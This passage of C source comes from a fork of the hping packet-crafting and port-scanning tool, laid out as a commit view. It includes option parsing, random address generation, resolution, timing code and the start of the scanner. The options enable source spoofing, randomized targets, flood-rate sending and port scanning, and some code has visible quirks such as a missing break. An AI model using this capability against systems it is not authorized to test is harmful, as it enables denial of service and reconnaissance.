{ '\0', "pps", OPT_PPS, AGO_NEEDARG },
{ '6', "ipv6", OPT_IPV6, AGO_NOARG },
{ '\0', "lhs", OPT_LHS, AGO_NEEDARG },
{ '\0', "flood", OPT_FLOOD, AGO_NOARG },
AGO_LIST_TERM
};
/* The following var is turned to 1 if the -i option is used.
* This allows to assign a different delay default value if
* the scanning mode is selected. */
static int delay_changed = 0;
static int suidtester(void)
{
return (getuid() != geteuid());
}
void fail_parse_route(void)
{
fprintf(stderr, "RECTUM\n");
exit(1);
}
void parse_route(unsigned char *route, unsigned int *route_len, char *str)
{
struct in_addr ip;
unsigned int i = 0;
unsigned int j;
unsigned int n = 0;
unsigned int route_ptr = 256;
char c;
route += 3;
while (str[i] != '\0')
{
for (j = i; isalnum(str[j]) || str[j] == '.'; j++);
switch(c = str[j])
{
case '\0':
case '/':
if (n >= 62)
{
fprintf(stderr, "too long route\n");
fail_parse_route();
}
str[j] = '\0';
if (inet_aton(str+i, &ip))
{
memcpy(route+4*n, &ip.s_addr, 4);
n++;
if (c == '/')
str[j++] = '/';
break;
}
fprintf(stderr, "invalid IP adress in route\n");
fail_parse_route();
case ':':
if ((!i) && j && j < 4)
{
sscanf(str, "%u:%n", &route_ptr, &i);
if (i == ++j)
{
if (route_ptr < 256)
break;
}
}
default:
fail_parse_route();
}
i = j;
}
if (route_ptr == 256)
route[-1] = (unsigned char) ( n ? 8 : 4 );
else
route[-1] = (unsigned char) route_ptr;
*route_len = 4*n + 3;
route[-2] = (unsigned char) *route_len;
}
int parse_options(int argc, char **argv)
{
int src_ttl_set = 0;
int targethost_set = 0;
int o;
char *mult;
int typeset = 0;
if (argc < 2)
return -1;
ago_set_exception(0, suidtester, "Option disabled when setuid");
while ((o = antigetopt(argc, argv, hping_optlist)) != AGO_EOF) {
switch(o) {
case AGO_UNKNOWN:
case AGO_REQARG:
case AGO_AMBIG:
ago_gnu_error("hping", o);
fprintf(stderr, "Try hping --help\n");
exit(1);
case AGO_ALONE:
if (targethost_set == 1) {
fprintf(stderr, "hping: you must specify only "
"one target host at a time\n");
exit(1);
} else {
strlcpy(targetname, ago_optarg, 1024);
targethost_set = 1;
}
break;
case OPT_COUNT:
count = strtol(ago_optarg, NULL, 0);
break;
case OPT_INTERVAL:
delay_changed = 1;
if (*ago_optarg == 'u') {
opt_waitinusec = TRUE;
usec_delay.it_value.tv_sec =
usec_delay.it_interval.tv_sec = 0;
usec_delay.it_value.tv_usec =
usec_delay.it_interval.tv_usec =
atol(ago_optarg+1);
}
else
sending_wait = strtol(ago_optarg, NULL, 0);
break;
case OPT_NUMERIC:
opt_numeric = TRUE;
break;
case OPT_QUIET:
opt_quiet = TRUE;
break;
case OPT_INTERFACE:
strlcpy (ifname, ago_optarg, 1024);
break;
case OPT_HELP:
show_usage();
break;
case OPT_VERSION:
show_version();
break;
case OPT_DESTPORT:
if (*ago_optarg == '+')
{
opt_incdport = TRUE;
ago_optarg++;
}
if (*ago_optarg == '+')
{
opt_force_incdport = TRUE;
ago_optarg++;
}
base_dst_port = dst_port = strtol(ago_optarg, NULL, 0);
break;
case OPT_BASEPORT:
initsport = strtol(ago_optarg, NULL, 0);
break;
case OPT_TTL:
src_ttl = strtol(ago_optarg, NULL, 0);
src_ttl_set = 1;
break;
case OPT_ID:
src_id = strtol(ago_optarg, NULL, 0);
break;
case OPT_WIN:
src_winsize = strtol(ago_optarg, NULL, 0);
break;
case OPT_SPOOF:
strlcpy (spoofaddr, ago_optarg, 1024);
break;
case OPT_FIN:
tcp_th_flags |= TH_FIN;
break;
case OPT_SYN:
tcp_th_flags |= TH_SYN;
break;
case OPT_RST:
tcp_th_flags |= TH_RST;
break;
case OPT_PUSH:
tcp_th_flags |= TH_PUSH;
break;
case OPT_ACK:
tcp_th_flags |= TH_ACK;
break;
case OPT_URG:
tcp_th_flags |= TH_URG;
break;
case OPT_XMAS:
tcp_th_flags |= TH_X;
break;
case OPT_YMAS:
tcp_th_flags |= TH_Y;
break;
case OPT_FRAG:
opt_fragment = TRUE;
break;
case OPT_MOREFRAG:
opt_mf = TRUE;
break;
case OPT_DONTFRAG:
opt_df = TRUE;
break;
case OPT_FRAGOFF:
ip_frag_offset = strtol(ago_optarg, NULL, 0);
break;
case OPT_TCPOFF:
src_thoff = strtol(ago_optarg, NULL, 0);
break;
case OPT_REL:
opt_relid = TRUE;
break;
case OPT_DATA:
data_size = strtol(ago_optarg, NULL, 0);
break;
case OPT_RAWIP:
opt_rawipmode = TRUE;
break;
case OPT_ICMP:
opt_icmpmode = TRUE;
break;
case OPT_ICMP_TS:
opt_icmpmode = TRUE;
opt_icmptype = 13;
break;
case OPT_ICMP_ADDR:
opt_icmpmode = TRUE;
opt_icmptype = 17;
break;
case OPT_UDP:
opt_udpmode = TRUE;
break;
case OPT_SCAN:
opt_scanmode = TRUE;
opt_scanports = strdup(ago_optarg);
break;
case OPT_LISTEN:
opt_listenmode = TRUE;
strlcpy(sign, ago_optarg, 1024);
signlen = strlen(ago_optarg);
break;
case OPT_IPPROTO:
raw_ip_protocol = strtol(ago_optarg, NULL, 0);
break;
case OPT_ICMPTYPE:
opt_icmpmode= TRUE;
opt_icmptype = strtol(ago_optarg, NULL, 0);
typeset = 1;
break;
case OPT_ICMPCODE:
opt_icmpmode= TRUE;
opt_icmpcode = strtol(ago_optarg, NULL, 0);
break;
case OPT_BIND:
ctrlzbind = BIND_TTL;
break;
case OPT_UNBIND:
ctrlzbind = BIND_NONE;
break;
case OPT_DEBUG:
opt_debug = TRUE;
break;
case OPT_VERBOSE:
opt_verbose = TRUE;
break;
case OPT_WINID:
opt_winid_order = TRUE;
break;
case OPT_KEEP:
opt_keepstill = TRUE;
break;
case OPT_FILE:
opt_datafromfile = TRUE;
strlcpy(datafilename, ago_optarg, 1024);
break;
case OPT_DUMP:
opt_hexdump = TRUE;
break;
case OPT_PRINT:
opt_contdump = TRUE;
break;
case OPT_SIGN:
opt_sign = TRUE;
strlcpy(sign, ago_optarg, 1024);
signlen = strlen(ago_optarg);
break;
case OPT_SAFE:
opt_safe = TRUE;
break;
case OPT_END:
opt_end = TRUE;
break;
case OPT_TRACEROUTE:
opt_traceroute = TRUE;
break;
case OPT_TOS:
if (!strcmp(ago_optarg, "help"))
tos_help();
else
{
static unsigned int tos_tmp = 0;
sscanf(ago_optarg, "%2x", &tos_tmp);
ip_tos |= tos_tmp; /* OR tos */
}
break;
case OPT_MTU:
virtual_mtu = strtol(ago_optarg, NULL, 0);
opt_fragment = TRUE;
if(virtual_mtu > 65535) {
virtual_mtu = 65535;
printf("Specified MTU too high, "
"fixed to 65535.\n");
}
break;
case OPT_SEQNUM:
opt_seqnum = TRUE;
break;
case OPT_BADCKSUM:
opt_badcksum = TRUE;
break;
case OPT_SETSEQ:
set_seqnum = TRUE;
tcp_seqnum = strtoul(ago_optarg, NULL, 0);
break;
case OPT_SETACK:
set_ack = TRUE;
tcp_ack = strtoul(ago_optarg, NULL, 0);
break;
case OPT_RROUTE:
opt_rroute = TRUE;
break;
case OPT_ICMP_HELP:
icmp_help(); /* ICMP options help */
break;
case OPT_ICMP_IPVER:
icmp_ip_version = strtol(ago_optarg, NULL, 0);
break;
case OPT_ICMP_IPHLEN:
icmp_ip_ihl = strtol(ago_optarg, NULL, 0);
break;
case OPT_ICMP_IPLEN:
icmp_ip_tot_len = strtol(ago_optarg, NULL, 0);
break;
case OPT_ICMP_IPID:
icmp_ip_id = strtol(ago_optarg, NULL, 0);
break;
case OPT_ICMP_IPPROTO:
icmp_ip_protocol = strtol(ago_optarg, NULL, 0);
break;
case OPT_ICMP_IPSRC:
strlcpy (icmp_ip_srcip, ago_optarg, 1024);
break;
case OPT_ICMP_IPDST:
strlcpy (icmp_ip_dstip, ago_optarg, 1024);
break;
case OPT_ICMP_GW:
strlcpy (icmp_gwip, ago_optarg, 1024);
break;
case OPT_ICMP_SRCPORT:
icmp_ip_srcport = strtol(ago_optarg, NULL, 0);
break;
case OPT_ICMP_DSTPORT:
icmp_ip_dstport = strtol(ago_optarg, NULL, 0);
break;
case OPT_FORCE_ICMP:
opt_force_icmp = TRUE;
break;
case OPT_ICMP_CKSUM:
icmp_cksum = strtol(ago_optarg, NULL, 0);
break;
case OPT_TCPEXITCODE:
opt_tcpexitcode = TRUE;
break;
case OPT_FAST:
delay_changed = 1;
opt_waitinusec = TRUE;
usec_delay.it_value.tv_sec =
usec_delay.it_interval.tv_sec = 0;
usec_delay.it_value.tv_usec =
usec_delay.it_interval.tv_usec = 100000;
break;
case OPT_FASTER:
delay_changed = 1;
opt_waitinusec = TRUE;
usec_delay.it_value.tv_sec =
usec_delay.it_interval.tv_sec = 0;
usec_delay.it_value.tv_usec =
usec_delay.it_interval.tv_usec = 1;
case OPT_TR_KEEP_TTL:
opt_tr_keep_ttl = TRUE;
break;
case OPT_TCP_TIMESTAMP:
opt_tcp_timestamp = TRUE;
break;
case OPT_TR_STOP:
opt_tr_stop = TRUE;
break;
case OPT_TR_NO_RTT:
opt_tr_no_rtt = TRUE;
break;
case OPT_RAND_DEST:
opt_rand_dest = TRUE;
break;
case OPT_RAND_SOURCE:
opt_rand_source = TRUE;
break;
case OPT_LSRR:
opt_lsrr = TRUE;
parse_route(lsr, &lsr_length, ago_optarg);
if (lsr[0])
printf("Warning: erasing previously given "
"loose source route");
lsr[0] = 131;
break;
case OPT_SSRR:
opt_ssrr = TRUE;
parse_route(ssr, &ssr_length, ago_optarg);
if (ssr[0])
printf("Warning: erasing previously given "
"strong source route");
ssr[0] = 137;
break;
case OPT_ROUTE_HELP:
route_help();
break;
case OPT_APD_SEND:
hping_ars_send(ago_optarg);
break;
case OPT_FLOOD:
opt_flood = TRUE;
break;
case OPT_BPS:
opt_bps = strtol(ago_optarg, &mult, 0);
switch(*mult)
{
case 'k':
case 'K':
opt_bps *= 1000;
break;
case 'm':
case 'M':
opt_bps *= 1000000;
break;
case 'g':
case 'G':
opt_bps *= 1000000000;
break;
case 0:
break;
default:
printf("invalid character in --bps argument: `%c'\n", *mult);
exit(1);
}
opt_bps /= 8;
break;
case OPT_PPS:
opt_pps = strtol(ago_optarg, &mult, 0);
switch(*mult)
{
case 'k':
case 'K':
opt_pps *= 1000;
break;
case 'm':
case 'M':
opt_pps *= 1000000;
break;
case 'g':
case 'G':
opt_bps *= 1000000000;
break;
case 0:
break;
default:
printf("invalid character in --pps argument: `%c'\n", *mult);
exit(1);
}
break;
case OPT_IPV6:
opt_ipv6 = TRUE;
opt_af = AF_INET6;
break;
case OPT_LHS:
linkhdr_size = atoi(ago_optarg);
break;
}
}
if(typeset == 0 && opt_icmptype == DEFAULT_ICMP_TYPE && opt_ipv6 == 1)
opt_icmptype = ICMP6_ECHO;
/* missing target host? */
if (targethost_set == 0 && opt_listenmode && opt_safe)
{
printf(
"you must specify a target host if you require safe protocol\n"
"because hping needs a target for HCMP packets\n");
exit(1);
}
if (targethost_set == 0 && !opt_listenmode) return -1;
if (opt_numeric == TRUE) opt_gethost = FALSE;
/* some error condition */
if (data_size+IPHDR_SIZE+TCPHDR_SIZE > 65535) {
printf("Option error: sorry, data size must be <= %lu\n",
(unsigned long)(65535-IPHDR_SIZE+TCPHDR_SIZE));
exit(1);
}
else if (count <= 0 && count != -1) {
printf("Option error: count must > 0\n");
exit(1);
}
else if (sending_wait < 0) {
printf("Option error: bad timing interval\n");
exit(1);
}
else if (opt_waitinusec == TRUE && usec_delay.it_value.tv_usec < 0)
{
printf("Option error: bad timing interval\n");
exit(1);
}
else if (opt_datafromfile == TRUE && data_size == 0)
{
printf("Option error: -E option useless without -d\n");
exit(1);
}
else if (opt_sign && data_size && signlen > data_size)
{
printf(
"Option error: signature (%d bytes) is larger than data size\n"
"check -d option, don't specify -d to let hping compute it\n", signlen);
exit(1);
}
else if ((opt_sign || opt_listenmode) && signlen > 1024)
{
printf("Option error: signature too big\n");
exit(1);
}
else if (opt_safe == TRUE && src_id != -1)
{
printf("Option error: sorry, you can't set id and "
"use safe protocol at some time\n");
exit(1);
}
else if (opt_safe == TRUE && opt_datafromfile == FALSE &&
opt_listenmode == FALSE)
{
printf("Option error: sorry, safe protocol is useless "
"without 'data from file' option\n");
exit(1);
}
else if (opt_safe == TRUE && opt_sign == FALSE &&
opt_listenmode == FALSE)
{
printf("Option error: sorry, safe protocol require you "
"sign your packets, see --sign | -e option\n");
exit(1);
} else if (opt_rand_dest == TRUE && ifname[0] == '\0') {
printf("Option error: you need to specify an interface "
"when the --rand-dest option is enabled\n");
exit(1);
}
/* dependences */
if (opt_safe == TRUE)
src_id = 1;
if (opt_traceroute == TRUE && ctrlzbind == BIND_DPORT)
ctrlzbind = BIND_TTL;
if (opt_traceroute == TRUE && src_ttl_set == 0)
src_ttl = DEFAULT_TRACEROUTE_TTL;
/* set the data size to the signature len if the no data size
* was specified */
if (opt_sign && !data_size)
data_size = signlen;
/* If scan mode is on, and the -i option was not used,
* set the default delay to zero, that's send packets
* as fast as possible. */
if (opt_scanmode && !delay_changed) {
opt_waitinusec = TRUE;
usec_delay.it_value.tv_sec =
usec_delay.it_interval.tv_sec = 0;
usec_delay.it_value.tv_usec =
usec_delay.it_interval.tv_usec = 0;
}
return 1;
}

81
random.c Normal file
View File

@ -0,0 +1,81 @@
/* rc4-based pseudo-random number generator for hping.
* Copyright (C) 2003 Salvatore Sanfilippo
* This software is released under the GPL license
* All rights reserved */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/time.h>
#include <time.h>
u_int32_t hp_rand(void);
/* The rc4 sbox */
static unsigned char rc4_sbox[256];
/* This flags is used to initialize the sbox the first time,
* without an explicit intialization step outside this file. */
static int rc4_seedflag = 0;
/* Initialize the sbox with pseudo random data */
static void hp_rand_init(void)
{
int i, fd;
/* Strong sbox initialization */
fd = open("/dev/urandom", O_RDONLY);
if (fd != -1) {
read(fd, rc4_sbox, 256);
close(fd);
}
/* Weaker sbox initialization */
for (i = 0; i < 256; i++) {
struct timeval tv;
gettimeofday(&tv, NULL);
if (i&1)
rc4_sbox[i] ^= (tv.tv_usec >> (i&0xF)) & 0xFF;
else
rc4_sbox[i] ^= (tv.tv_sec >> (i&0xF)) & 0xFF;
}
rc4_seedflag = 1;
}
#if 0
/* Re-seed the generator with user-provided bytes. Not used for now. */
static void hp_rand_seed(void *seed, size_t len)
{
int i;
if (len > 256) len = 256;
memcpy(rc4_sbox, seed, len);
/* discard the first 256 bytes of output after the reseed */
for (i = 0; i < 32; i++)
(void) hp_rand();
}
#endif
/* Generates a 32bit random number using an RC4-like algorithm */
u_int32_t hp_rand(void)
{
u_int32_t r = 0;
unsigned char *rc = (unsigned char*) &r;
static unsigned int i = 0, j = 0;
unsigned int si, sj, x;
/* initialization, only needed the first time */
if (!rc4_seedflag)
hp_rand_init();
/* generates 4 bytes of pseudo-random data using RC4 */
for (x = 0; x < 4; x++) {
i = (i+1) & 0xff;
si = rc4_sbox[i];
j = (j + si) & 0xff;
sj = rc4_sbox[j];
rc4_sbox[i] = sj;
rc4_sbox[j] = si;
*rc++ = rc4_sbox[(si+sj)&0xff];
}
return r;
}

143
random6.c Normal file
View File

@ -0,0 +1,143 @@
// vim:sw=4:ts=4:et:
/*
* Copyright (C) 2021 Andrei Belov (@defanator on github)
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
/* 16 octets in binary form + dots between octets + trailing zero */
#define INET6_ADDRBINSTRLEN ((8 * 16) + (1 * 15) + 1UL)
#ifndef INET6_ADDRSTRLEN
#define INET6_ADDRSTRLEN sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")
#endif
char * sprintb(char *dst, void const * const ptr, size_t const size)
{
int i, j;
char *dp = dst;
unsigned char byte;
unsigned char *b = (unsigned char*) ptr;
for (i = size - 1; i >= 0; i--) {
for (j = 7; j >= 0; j--) {
byte = (b[i] >> j) & 1;
*dp++ = byte ? '1' : '0';
}
}
*dp = 0x0;
return dst;
}
char * sprintb_addr6(char *dst, struct in6_addr *in6) {
char *dp = dst;
u_char *p = in6->s6_addr;
int i;
for (i = 0; i < 16; i++) {
sprintb(dp, &p[i], sizeof(u_char));
dp += 8;
if (i < 15) *dp++ = '.';
}
return dst;
}
struct in6_addr ipv6_rand(char *net,uint8_t prefixlen)
{
int i, j, s;
uint8_t bits, shift;
u_char *addr, *mask;
struct in6_addr addr6, mask6,rand6;
//char straddr6[INET6_ADDRSTRLEN];
//char binaddr6[INET6_ADDRBINSTRLEN];
char *ip6net = net;
if (inet_pton(AF_INET6, ip6net, &addr6) < 1) {
printf("incorrect IPv6 address/net: \"%s\"\n", ip6net);
exit(1);
}
addr = addr6.s6_addr;
mask = mask6.s6_addr;
shift = prefixlen;
bits = 128 - shift;
for (i = 0; i < 16; i++) {
s = (shift > 8) ? 8 : shift;
shift -= s;
mask[i] = (u_char) (0xffu << (8 - s));
if (addr[i] != (addr[i] & mask[i])) {
addr[i] &= mask[i];
}
}
//inet_ntop(AF_INET6, &addr6, straddr6, INET6_ADDRSTRLEN);
//printf("network: %s/%d\n", straddr6, prefixlen);
//inet_ntop(AF_INET6, &mask6, straddr6, INET6_ADDRSTRLEN);
//printf("netmask: %s (free bits=%d)\n", straddr6, bits);
//printf("%s\n", sprintb_addr6(binaddr6, &addr6));
//printf("%s\n", sprintb_addr6(binaddr6, &mask6));
//printf("----\n");
srand(((unsigned) getpid() << 16) ^ time(NULL));
uint32_t rv = rand();
int k = 0;
shift = bits;
rand6 = addr6;
addr = rand6.s6_addr;
for (j = 15; j >= 0; j--) {
s = (shift > 8) ? 8 : shift;
shift -= s;
addr[j] = addr[j] ^ ((addr[j] ^ rv) & ~mask[j]);
if (shift == 0) break;
rv >>= 8;
/*
* Note that the MSB of the first octet in random value rv
* will always be 0 as RAND_MAX=0x7FFFFFFF, i.e. if we refresh
* rv after using all the 4 octets from uint32_t, the leading
* bit in octets 4, 8, 12, 16 in generated IPv6 address
* will _always_ be 0.
*
* While it seems legit for e.g. ::ffff:0:0/96 (IPv4-mapped
* addresses), there may be a better way of handling this
* (e.g. refresh rv after using 3 of 4 octets or reverse
* bits in first octet before applying).
*
*/
//if (++k > 2) {
if (++k > 3) {
rv = rand();
k = 0;
}
}
//inet_ntop(AF_INET6, &rand6, straddr6, INET6_ADDRSTRLEN);
//printf("%s [%s]\n", sprintb_addr6(binaddr6, &rand6), straddr6);
return rand6;
}

18
release.h Normal file
View File

@ -0,0 +1,18 @@
/*
* $smu-mark$
* $name: release.h$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 16 11:55:49 MET 1999$
* $rev: 17$
*/
#ifndef _RELEASE_H
#define _RELEASE_H
#define RELEASE_VERSION "3.0.0-koszik"
#define RELEASE_DATE "Sun Apr 16 07:19:17 CEST 2006"
#define CONTACTS "<koszik@atw.hu>"
#endif /* _RELEASE_H */

46
relid.c Normal file
View File

@ -0,0 +1,46 @@
/*
* $smu-mark$
* $name: relid.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 3$
*/
/* FIXME: maybe it's better to avoid division per seq_diff and
at least add an option to switch on/off this feature */
#include "hping2.h"
#include "globals.h"
int relativize_id(int seqnum, int *ip_id)
{
int seq_diff, backup_id;
static int last_seq = 0, last_id = -1;
backup_id = *ip_id;
if (last_id == -1) {
last_id = *ip_id;
last_seq = seqnum;
}
else
{
if ( (seq_diff=(seqnum-last_seq)) > 0)
{
if (last_id > *ip_id) /* rew */
*ip_id = ((65535-last_id)
+ *ip_id)/seq_diff;
else
*ip_id = (*ip_id-last_id)
/seq_diff;
last_id = backup_id;
last_seq = seqnum;
return TRUE;
} else {
out_of_sequence_pkt++;
}
}
return FALSE;
}

63
resolve.c Normal file
View File

@ -0,0 +1,63 @@
/*
* $smu-mark$
* $name: resolve.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 8$
*/
#include <stdlib.h>
#include <sys/types.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
void resolve (struct sockaddr * addr, char *hostname)
{
struct sockaddr_in *address;
struct hostent *host;
address = (struct sockaddr_in *)addr;
memset(address, 0, sizeof(struct sockaddr_in));
address->sin_family = AF_INET;
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1) {
host = gethostbyname(hostname);
if (host) {
memcpy(&address->sin_addr, host->h_addr,
host->h_length);
} else {
perror("[resolve] Could not resolve address");
exit(1);
}
}
}
void resolve6 (struct sockaddr * addr, char *hostname)
{
struct sockaddr_in6 *address;
struct hostent *host;
address = (struct sockaddr_in6 *)addr;
memset(address, 0, sizeof(struct sockaddr_in6));
address->sin6_family = AF_INET6;
if(inet_pton(AF_INET6, hostname, &address->sin6_addr) < 1) {
host = gethostbyname2(hostname, AF_INET6);
if (host) {
memcpy(&address->sin6_addr, host->h_addr,
host->h_length);
} else {
herror("[resolve] Could not resolve address");
exit(1);
}
}
}

99
rtt.c Normal file
View File

@ -0,0 +1,99 @@
/*
* $smu-mark$
* $name: rtt.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 3$
*/
#include <time.h>
#include <stdio.h>
#include "hping2.h"
#include "globals.h"
void minavgmax(float ms_delay)
{
static int avg_counter = 0;
if (rtt_min == 0 || ms_delay < rtt_min)
rtt_min = ms_delay;
if (rtt_max == 0 || ms_delay > rtt_max)
rtt_max = ms_delay;
avg_counter++;
rtt_avg = (rtt_avg*(avg_counter-1)/avg_counter)+(ms_delay/avg_counter);
}
int rtt(int *seqp, int recvport, float *ms_delay)
{
long sec_delay = 0, usec_delay = 0;
int i, tablepos = -1, status;
if (*seqp != 0) {
for (i = 0; i < TABLESIZE; i++)
if (delaytable[i].seq == *seqp) {
tablepos = i;
break;
}
} else {
for (i=0; i<TABLESIZE; i++)
if (delaytable[i].src == recvport) {
tablepos = i;
break;
}
if (i != TABLESIZE)
*seqp = delaytable[i].seq;
}
if (tablepos != -1)
{
status = delaytable[tablepos].status;
delaytable[tablepos].status = S_RECV;
sec_delay = time(NULL) - delaytable[tablepos].sec;
usec_delay = get_usec() - delaytable[tablepos].usec;
if (sec_delay == 0 && usec_delay < 0)
usec_delay += 1000000;
*ms_delay = (sec_delay * 1000) + ((float)usec_delay / 1000);
minavgmax(*ms_delay);
}
else
{
*ms_delay = 0; /* not in table.. */
status = 0; /* we don't know if it's DUP */
}
/* SANITY CHECK */
if (*ms_delay < 0)
{
printf("\n\nSANITY CHECK in rtt.c FAILED!\n");
printf("- seqnum = %d\n", *seqp);
printf("- status = %d\n", status);
printf("- get_usec() = %ld\n", (long int) get_usec());
printf("- delaytable.usec = %ld\n",
(long int) delaytable[tablepos].usec);
printf("- usec_delay = %ld\n", usec_delay);
printf("- time(NULL) = %ld\n", (long int) time(NULL));
printf("- delaytable.sec = %ld\n",
(long int) delaytable[tablepos].sec);
printf("- sec_delay = %ld\n", sec_delay);
printf("- ms_delay = %f\n", *ms_delay);
printf("END SANITY CHECK REPORT\n\n");
}
return status;
}
void delaytable_add(int seq, int src, time_t sec, time_t usec, int status)
{
delaytable[delaytable_index % TABLESIZE].seq = seq;
delaytable[delaytable_index % TABLESIZE].src = src;
delaytable[delaytable_index % TABLESIZE].sec = sec;
delaytable[delaytable_index % TABLESIZE].usec = usec;
delaytable[delaytable_index % TABLESIZE].status = status;
delaytable_index++;
}

548
scan.c Normal file
View File

@ -0,0 +1,548 @@
/* Scanner mode for hping2
* Copyright(C) 2003 Salvatore Sanfilippo
* All rights reserved */
/* TODO:
* an application-level aware UDP scanner.
* add ICMP handling in replies.
* The algorithm is far from be optimal, also there isn't a clear
* way to delay smaller amounts of time then usleep(1) without
* to use a dummy loop.
* */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#if 0
#include <sys/ipc.h>
#endif
#include <sys/shm.h>
#include <sys/sem.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#if 0
#if defined(__GNU_LIBRARY__) && !defined(_SEM_SEMUN_UNDEFINED)
/* union semun is defined by including <sys/sem.h> */
#else
/* according to X/OPEN we have to define it ourselves */
union semun {
int val; /* value for SETVAL */
struct semid_ds *buf; /* buffer for IPC_STAT, IPC_SET */
unsigned short int *array; /* array for GETALL, SETALL */
struct seminfo *__buf; /* buffer for IPC_INFO */
};
#endif
#endif
#include "hping2.h"
#include "globals.h"
#include "hstring.h"
#define SEM_MODE 0777
#define MAXPORT 65535
int opt_scan_probes = 8;
float avrgms = 0;
int avrgcount = 0;
/* ---------------------------- data structures ----------------------------- */
/* Note that while we don't use any kind of locking, to access
* this fields is safe. the 'retry' field is only accessed by the
* sendinf half, while the 'active' field is set by the receiver
* and tested by the sender so atomicity isn't an issue. */
struct portinfo {
int active;
int retry;
time_t sentms; /* Upss... added this that requires locking, FIXME */
};
/* ------------------------- shared memory related -------------------------- */
static int id; /* shared memory id */
static int shm_creat(int size)
{
id = shmget(IPC_PRIVATE, size, IPC_CREAT | 0777);
if (id == -1)
{
perror("[shm_creat] shmget");
return -1; /* on error -1 */
}
return id; /* on success > 0 */
}
static void *shm_attach(void)
{
void *shared;
shared = shmat(id, 0, 0);
if (shared == (void*) -1)
{
perror("[shm_attach] shmat");
return NULL; /* on error NULL */
}
return shared; /* on success the address */
}
static int shm_rm(void)
{
struct shmid_ds shmemds;
return shmctl(id, IPC_RMID, &shmemds);
}
static int shm_detach(void *addr)
{
return shmdt(addr);
}
static void *shm_init(int size)
{
if (shm_creat(size) == -1)
return NULL;
return shm_attach();
}
static void shm_close(void *addr)
{
shm_detach(addr);
shm_rm();
}
/* ------------------------------ locking ---------------------------------- */
/* Note that a mutex can't be used with shared memory (on Linux), the only left
* option is a semaphore, but I tried to protect the critical code
* using the functions above: the scanner becomes too slow. For now
* it's better to have nothing at all, for the future we need something
* like a spinlock. (btw, note that the code should be safe on x86) */
/* I left this code here, just in the case it will be useful for testing */
#if 0
static int sem_init(void)
{
int semid, sem_key;
if ((sem_key = ftok("/tmp/hpingscansem", 1)) == -1) {
perror("ftok");
exit(1);
}
/* Semi-safe semaphore initialization from R.Stevens */
/* Try to create the semaphore with EXCL */
if ((semid = semget(sem_key, 1, IPC_CREAT|IPC_EXCL|SEM_MODE)) != -1) {
/* success, we need to initialize it */
union semun arg;
arg.val = 1;
if (semctl(semid, 0, SETVAL, arg) == -1) {
perror("semctl");
exit(1);
}
} else if (errno == EEXIST) {
if ((semid = semget(sem_key, 1, SEM_MODE)) == -1) {
perror("semget");
exit(1);
}
} else {
perror("semget");
exit(1);
}
return semid;
}
static int ports_lock(int semid)
{
struct sembuf op[1];
op[0].sem_num = 0;
op[0].sem_op = -1;
op[0].sem_flg = SEM_UNDO;
return semop(semid, op, 1);
}
static int ports_unlock(int semid)
{
struct sembuf op[1];
op[0].sem_num = 0;
op[0].sem_op = +1;
op[0].sem_flg = SEM_UNDO;
return semop(semid, op, 1);
}
#endif
/* -------------------------------- misc ----------------------------------- */
static char *tcp_strflags(char *s, unsigned int flags)
{
char *ftab = "FSRPAYXY", *p = s;
int bit = 0;
memset(s, '.', 8);
s[8] = '\0';
while(bit < 8) {
if (flags & (1 << bit))
p[bit] = ftab[bit];
bit++;
}
return s;
}
static char *port_to_name(int port)
{
struct servent *se;
se = getservbyport(htons(port), NULL);
if (!se)
return "";
else
return se->s_name;
}
/* ----------------------------- ports parsing ------------------------------ */
static int parse_ports(struct portinfo *pi, char *ports)
{
char *args[32], *p = strdup(ports);
int argc, j, i;
if (!p) {
fprintf(stderr, "Out of memory");
return 1;
}
argc = strftok(",", ports, args, 32);
for (j = 0; j < argc; j++) {
int neg = 0;
char *a = args[j];
/* ports negation */
if (a[0] == '!') {
neg = 1;
a++;
}
/* range */
if (strchr(a, '-')) {
char *range[2];
int low, high;
strftok("-", a, range, 2);
if (!strisnum(range[0]) || !strisnum(range[1]))
goto err; /* syntax error */
low = strtol(range[0], NULL, 0);
high = strtol(range[1], NULL, 0);
if (low > high) {
int t;
t = high;
high = low;
low = t;
}
for (i = low; i <= high; i++)
pi[i].active = !neg;
/* all the ports */
} else if (!strcmp(a, "all")) {
for (i = 0; i <= MAXPORT; i++)
pi[i].active = !neg;
/* /etc/services ports */
} else if (!strcmp(a, "known")) {
struct servent *se;
setservent(0);
while((se = getservent()) != NULL) {
int port = ntohs(se->s_port);
if (port < 0 || port > MAXPORT)
continue;
pi[port].active = !neg;
}
/* a single port */
} else {
int port;
if (!strisnum(a))
goto err; /* syntax error */
port = strtol(a, NULL, 0);
if (port < 0 || port > MAXPORT)
goto err; /* syntax error */
pi[port].active = !neg;
}
}
free(p);
return 0;
err:
free(p);
return 1;
}
/* -------------------------------- output ---------------------------------- */
static void sender(struct portinfo *pi)
{
int i, retry = 0;
time_t start_time;
start_time = get_midnight_ut_ms();
while(1) {
int active = 0;
